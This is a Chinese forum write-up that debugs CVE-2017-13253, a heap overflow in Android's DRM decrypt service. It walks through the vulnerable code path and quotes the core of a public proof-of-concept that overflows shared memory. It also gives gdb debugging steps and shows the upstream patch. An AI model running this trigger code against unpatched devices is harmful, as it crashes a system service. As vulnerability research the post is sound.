首页
论坛
专栏
课程

[分享]CVE-2017-13253 Android Drm服务 堆溢出漏洞调试分析

2018-3-22 22:36 2574

[分享]CVE-2017-13253 Android Drm服务 堆溢出漏洞调试分析

2018-3-22 22:36
2574
开年上班以来,就在研究binder机制。正好碰到了一个和binder有点联系的漏洞。

前段时间Zimperium zLabs披露了一个Android Drm service的堆溢出漏洞。简单调试分析一下。做个分享。
原文博客链接:https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/
poc代码链接:https://github.com/tamirzb/CVE-2017-13253

前置知识:binder机制 

堆溢出出现在/frameworks/av/drm/mediadrm/plugins/clearkey/CryptoPlugin.cpp中的
    if (mode == kMode_Unencrypted) {
46        size_t offset = 0;
47        for (size_t i = 0; i < numSubSamples; ++i) {
48            const SubSample& subSample = subSamples[i];
49
50            if (subSample.mNumBytesOfEncryptedData != 0) {
51                errorDetailMsg->setTo(
52                        "Encrypted subsamples found in allegedly unencrypted "
53                        "data.");
54                return android::ERROR_DRM_DECRYPT;
55            }
56
57            if (subSample.mNumBytesOfClearData != 0) {
58                memcpy(reinterpret_cast<uint8_t*>(dstPtr) + offset,
59                       reinterpret_cast<const uint8_t*>(srcPtr) + offset,
60                       subSample.mNumBytesOfClearData);    ----------------------->memcpy 溢出
61                offset += subSample.mNumBytesOfClearData;
62            }
63        }
64        return static_cast<ssize_t>(offset);

这个函数的上面一层函数是:/hardware/interfaces/drm/1.0/default/CryptoPlugin.cpp中的
    Return<void> CryptoPlugin::decrypt(bool secure,
59            const hidl_array<uint8_t, 16>& keyId,
60            const hidl_array<uint8_t, 16>& iv, Mode mode,
61            const Pattern& pattern, const hidl_vec<SubSample>& subSamples,
62            const SharedBuffer& source, uint64_t offset,
63            const DestinationBuffer& destination,
64            decrypt_cb _hidl_cb) {
65
110        。。。。。。。。。。。。
             。。。。。。。。。。。。。。。。。。。
111        
             if (source.offset + offset + source.size > sourceBase->getSize()) {
112            _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
113            return Void();
114        }
115
116        uint8_t *base = static_cast<uint8_t *>
117                (static_cast<void *>(sourceBase->getPointer()));
118        void *srcPtr = static_cast<void *>(base + source.offset + offset);
119
120        void *destPtr = NULL;
121        if (destination.type == BufferType::SHARED_MEMORY) {
122            const SharedBuffer& destBuffer = destination.nonsecureMemory;
123            sp<IMemory> destBase = mSharedBufferMap[destBuffer.bufferId];
124            if (destBuffer.offset + destBuffer.size > destBase->getSize()) {
125                _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
126                return Void();
127            }
128            destPtr = static_cast<void *>(base + destination.nonsecureMemory.offset);  关键地方,确定destPtr
129        } else if (destination.type == BufferType::NATIVE_HANDLE) {
130            native_handle_t *handle = const_cast<native_handle_t *>(
131                    destination.secureMemory.getNativeHandle());
132            destPtr = static_cast<void *>(handle);
133        }
134        ssize_t result = mLegacyPlugin->decrypt(secure, keyId.data(), iv.data(),
135                legacyMode, legacyPattern, srcPtr, legacySubSamples,
136                subSamples.size(), destPtr, &detailMessage);   这里调用
137

有几个关键的数据结构,SubSamples,SouceBuffer,DestinationBuffer比较抽象
frameworks/native/include/media/hardware/CryptoAPI.h
53    struct SubSample {
54        uint32_t mNumBytesOfClearData;
55        uint32_t mNumBytesOfEncryptedData;
56    };
57
frameworks\av\media\libmedia\include\media\ICrypto.h
51    struct SourceBuffer {
52        sp<IMemory> mSharedMemory;
53        int32_t mHeapSeqNum;
54    };
61    struct DestinationBuffer {
62        DestinationType mType;
63        native_handle_t *mHandle;
64        sp<IMemory> mSharedMemory;
65    };
66

这里引用了一下原文的图片。
图片地址:https://blog.zimperium.com/wp-content/uploads/2018/03/4-decrypt-params-example.png


从上图可知,source和destination都是属于shared memory的,而且是相邻的。其中source中的data数据是被分割成多个subSamples的。那这个堆溢出是如何产生的呢。
先看代码。
111        if (source.offset + offset + source.size > sourceBase->getSize()) {
112            _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
113            return Void();
114        }
115
116        uint8_t *base = static_cast<uint8_t *>
117                (static_cast<void *>(sourceBase->getPointer()));
118        void *srcPtr = static_cast<void *>(base + source.offset + offset);
这几行代码是判断source的大小是否正确。是通过source.offset + offset(这个其实是subSamples起始地址偏移)+source.size进行判断的。
然后计算出源地址,srcPtr = base+source.offset+offset,也就是第一个subSamples的地址,这里还是正确的。
下面开始计算destination和dstPtr的地址。
121        if (destination.type == BufferType::SHARED_MEMORY) {
122            const SharedBuffer& destBuffer = destination.nonsecureMemory;
123            sp<IMemory> destBase = mSharedBufferMap[destBuffer.bufferId];
124            if (destBuffer.offset + destBuffer.size > destBase->getSize()) {
125                _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
126                return Void();
127            }
128            destPtr = static_cast<void *>(base + destination.nonsecureMemory.offset); 

121行代码判断缓冲区类型,这里是SHARED_MEMORY,进入122。
也是先计算destBuffer的大小是否正确。ok,这里计算是正确的。
然后计算destPtr的地址,destPtr = base + offset。---------->这里的base其实就是source的起始地址。根据上面那个图,可知。这样计算也是正确的。这样看来确实都是正常的,不存在漏洞。
但是感觉大牛总是能构造出具有bug的代码。
继续看上一层函数:/frameworks/av/drm/libmediadrm/ICrypto.cpp 中的
237status_t BnCrypto::onTransact(
238    uint32_t code, const Parcel &data, Parcel *reply, uint32_t flags) {
239    switch (code) {
         。。。。。。。。。。。。
        。。。。。。。。。。。。。。。。

309        case DECRYPT:
310        {
311            CHECK_INTERFACE(ICrypto, data, reply);
312
313            CryptoPlugin::Mode mode = (CryptoPlugin::Mode)data.readInt32();
314            CryptoPlugin::Pattern pattern;
315            pattern.mEncryptBlocks = data.readInt32();
316            pattern.mSkipBlocks = data.readInt32();
317
318            uint8_t key[16];
319            data.read(key, sizeof(key));
320
321            uint8_t iv[16];
322            data.read(iv, sizeof(iv));
323
324            size_t totalSize = data.readInt32();
325
326            SourceBuffer source;
327
328            source.mSharedMemory =
329                interface_cast<IMemory>(data.readStrongBinder());
330            if (source.mSharedMemory == NULL) {
331                reply->writeInt32(BAD_VALUE);
332                return OK;
333            }
334            source.mHeapSeqNum = data.readInt32();
335
336            int32_t offset = data.readInt32();
337
338            int32_t numSubSamples = data.readInt32();
339            if (numSubSamples < 0 || numSubSamples > 0xffff) {
340                reply->writeInt32(BAD_VALUE);
341                return OK;
342            }
343
344            CryptoPlugin::SubSample *subSamples =
345                    new CryptoPlugin::SubSample[numSubSamples];
346
347            data.read(subSamples,
348                    sizeof(CryptoPlugin::SubSample) * numSubSamples);
349
350            DestinationBuffer destination;
351            destination.mType = (DestinationType)data.readInt32();
352            if (destination.mType == kDestinationTypeNativeHandle) {
353                destination.mHandle = data.readNativeHandle();
354                if (destination.mHandle == NULL) {
355                    reply->writeInt32(BAD_VALUE);
356                    return OK;
357                }
358            } else if (destination.mType == kDestinationTypeSharedMemory) { 判断destination的类型就结束了,没有大小的判断
359                destination.mSharedMemory =
360                        interface_cast<IMemory>(data.readStrongBinder());
361                if (destination.mSharedMemory == NULL) {
362                    reply->writeInt32(BAD_VALUE);
363                    return OK;
364                }
365            }
366
367            AString errorDetailMsg;
368            ssize_t result;
369
370            size_t sumSubsampleSizes = 0;
371            bool overflow = false;
372            for (int32_t i = 0; i < numSubSamples; ++i) {    这里会相加多个subSamples,并判断是否超出
373                CryptoPlugin::SubSample &ss = subSamples[i];
374                if (sumSubsampleSizes <= SIZE_MAX - ss.mNumBytesOfEncryptedData) {
375                    sumSubsampleSizes += ss.mNumBytesOfEncryptedData;
376                } else {
377                    overflow = true;
378                }
379                if (sumSubsampleSizes <= SIZE_MAX - ss.mNumBytesOfClearData) {
380                    sumSubsampleSizes += ss.mNumBytesOfClearData;
381                } else {
382                    overflow = true;
383                }
384            }
385
386            if (overflow || sumSubsampleSizes != totalSize) {
387                result = -EINVAL;
388            } else if (totalSize > source.mSharedMemory->size()) {
389                result = -EINVAL;
390            } else if ((size_t)offset > source.mSharedMemory->size() - totalSize) {   这里判断了source的大小,这个totalSize就是要处理subSamples的大小总和。
391                result = -EINVAL;
392            } else {
393                result = decrypt(key, iv, mode, pattern, source, offset,
394                        subSamples, numSubSamples, destination, &errorDetailMsg);
395            }
356行代码开始只是判断了destination的类型,并没有判断destination.offset加上total值是否大于destination.size。这里total值就是要处理的解密数据总和。因此在最上面那个函数里面发送了溢出。

这里再次引用原文的图片,更加直观。https://blog.zimperium.com/wp-content/uploads/2018/03/10-overflow.png


ok。到此,算是把别人的文章分析了一遍。不过个人认为还是调试一下看看会更加清晰。

先上poc代码:
    sp<MemoryHeapBase> heap = new MemoryHeapBase(DATA_SIZE);  申请一个heap块。
    // This line is to merely show that we have full control over the data
    // written in the overflow.
    memset(heap->getBase(), 'A', DATA_SIZE); 这里填充heap,大小为0x2000
    sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, DATA_SIZE);  源内存,设置了offset为0,大小为0x2000也就是total共0x2000
    sp<MemoryBase> destMemory = new MemoryBase(heap, DATA_SIZE - DEST_OFFSET, 
        DEST_OFFSET);  目的内存,设置偏移比较巧妙,正好是DATA_SIZE - DEST_OFFSET,大小为DEST_OFFSET,这样设置的目的正好可以保证第二个函数中对destination的检测是正确的。
    int heapSeqNum = crypto->setHeap(heap);
    if (heapSeqNum < 0) {
        fprintf(stderr, "setHeap failed.\n");
        return;
    }
  
   下面这些代码都是设置一些decrypt函数的相关参数。只需保证能通过函数检查就行。
    CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 };
    ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory,
        .mHeapSeqNum = heapSeqNum };
    // mNumBytesOfClearData is the actual size of data to be copied.
    CryptoPlugin::SubSample subSamples[] = { {
        .mNumBytesOfClearData = DATA_SIZE, .mNumBytesOfEncryptedData = 0 } };
    ICrypto::DestinationBuffer destination = {
        .mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL,
        .mSharedMemory = destMemory };

    printf("decrypt result = %zd\n", crypto->decrypt(NULL, NULL,
        CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples,
        ARRAY_SIZE(subSamples), destination, NULL));   然后就ipc调用decrypt函数
poc调用了很多头文件是来自源码中的。单纯的ndk是无法编译的。
git上面有编译方法。请参考。

代码得来终觉浅,绝知此洞要调试

调试吧。android应用层调试。开始配置调试环境。

ubuntu物理机。
源码要求:8.0以上。
调试机器:笔者使用的是nexus5x。不要使用模拟器调试,有坑的。!!!!!!!
编译源码和刷机就不讲了,玩漏洞的你应该懂怎么配置环境了。不知道的,坛子里有相关帖子。

服务端调试命令:
adb forward tcp:1234 tcp:1234
adb shell ps | grep mediadrmserver
adb shell gdbserver :1234 --attach PID 


客户端调试命令:
cd 到源码目录下面:
source build/envsetup.sh 
lunch aosp_bullhead-userdebug  (这里的选项根据调试机器确定)
gdbclient mediadrmserver
gdb起来后。
target remote :1234

挂上了,然后就是下断点。
三个关键函数:

android::BnCrypto::onTransact

android::CryptoHal::decrypt

clearkeydrm::CryptoPlugin::decrypt

可以先第一个,然后adb shell 进去机子里面执行system/bin/icrypto_overflow

命中断点后
单步走走看。前两次是调用createPlugin和setHeap。
然后才是调用decrypt。

调用decrypt函数。
可以单步看看实现逻辑。估计是android源码命名空间的源码,上下文中无法打印出局部变量,只能注意观察寄存器了。
从反序列化中获取total的值。

读取后放到r9里面。单步后,看下r9。

具体其他参数,可以同样单步查看,不再赘述。直接来看调用decrypt函数。

可以s跟进去,然后bt看看。

能看到部分参数。其实是想看source和destination的。说实话,这种多层类函数调用,在加上传递参数,还真不好锁定,请原谅我。不要紧,后面能看到。

还是直接快速来到memcpy函数吧,


->0xed01489f <clearkeydrm::CryptoPlugin::decrypt(bool,+0> add.w  r0,  r11,  r5
   0xed0148a3 <clearkeydrm::CryptoPlugin::decrypt(bool,+0> add.w  r1,  r10,  r5
   0xed0148a7 <clearkeydrm::CryptoPlugin::decrypt(bool,+0> mov.w  r8,  r7,  lsl #1
   0xed0148ab <clearkeydrm::CryptoPlugin::decrypt(bool,+0> blx    0xed013b64 <__aeabi_memcpy@plt>

r11 存放destPtr, r10存放srcPtr, r2存放拷贝大小,r5是offset。

其实在走下去就直接溢出了。怎么看?

使用vmmap命令,可以查看内存属性。

0xee186000是MemoryHeapBase的起始地址,大小为0x2000。
如果从0xee187fff覆盖,0xee187fff+0x2000 > 0xee188000的,这就导致堆溢出了,直接触发了堆保护页。

所以这个漏洞也是无法利用的。尴尬。。。。。。。。。

到此调试分析结束。

看看补丁吧:https://android.googlesource.com/platform/frameworks/av/+/871412cfa05770cfd8be0a130b68386775445057%5E%21/#F0
 //#define LOG_NDEBUG 0
 #define LOG_TAG "ICrypto"
-#include <utils/Log.h>
-
 #include <binder/Parcel.h>
 #include <binder/IMemory.h>
+#include <cutils/log.h>
 #include <media/ICrypto.h>
 #include <media/stagefright/MediaErrors.h>
 #include <media/stagefright/foundation/ADebug.h>
 #include <media/stagefright/foundation/AString.h>
+#include <utils/Log.h>
 
 namespace android {
 
@@ -362,6 +362,13 @@
                     reply->writeInt32(BAD_VALUE);
                     return OK;
                 }
+                sp<IMemory> dest = destination.mSharedMemory;
+                if (totalSize > dest->size() ||
+                        (size_t)dest->offset() > dest->size() - totalSize) {
+                    reply->writeInt32(BAD_VALUE);
+                    android_errorWriteLog(0x534e4554, "71389378");
+                    return OK;
+                }
             }
 
             AString errorDetailMsg;

直接在判断完destination的类型后,就判断dest->offset + totalSize 不能大于 dest->size。




[招聘]欢迎市场人员加入看雪学院团队!

最后于 2018-3-23 01:30 被ID蝴蝶编辑 ,原因:
最新回复 (2)
git_81260Miy1z1ki 2019-8-1 16:55
2
0
尝试复现,但是断不到 clearkeydrm::CryptoPlugin::decrypt。   尝试了tab补全和直接断 framework/xx/xx/xx/CryptoPlugin.cpp:58。还是断不到 求解。 
pureGavin 5天前
3
0
楼主,关于这个漏洞的成因好像没介绍的很详细吧??
游客
登录 | 注册 方可回帖
返回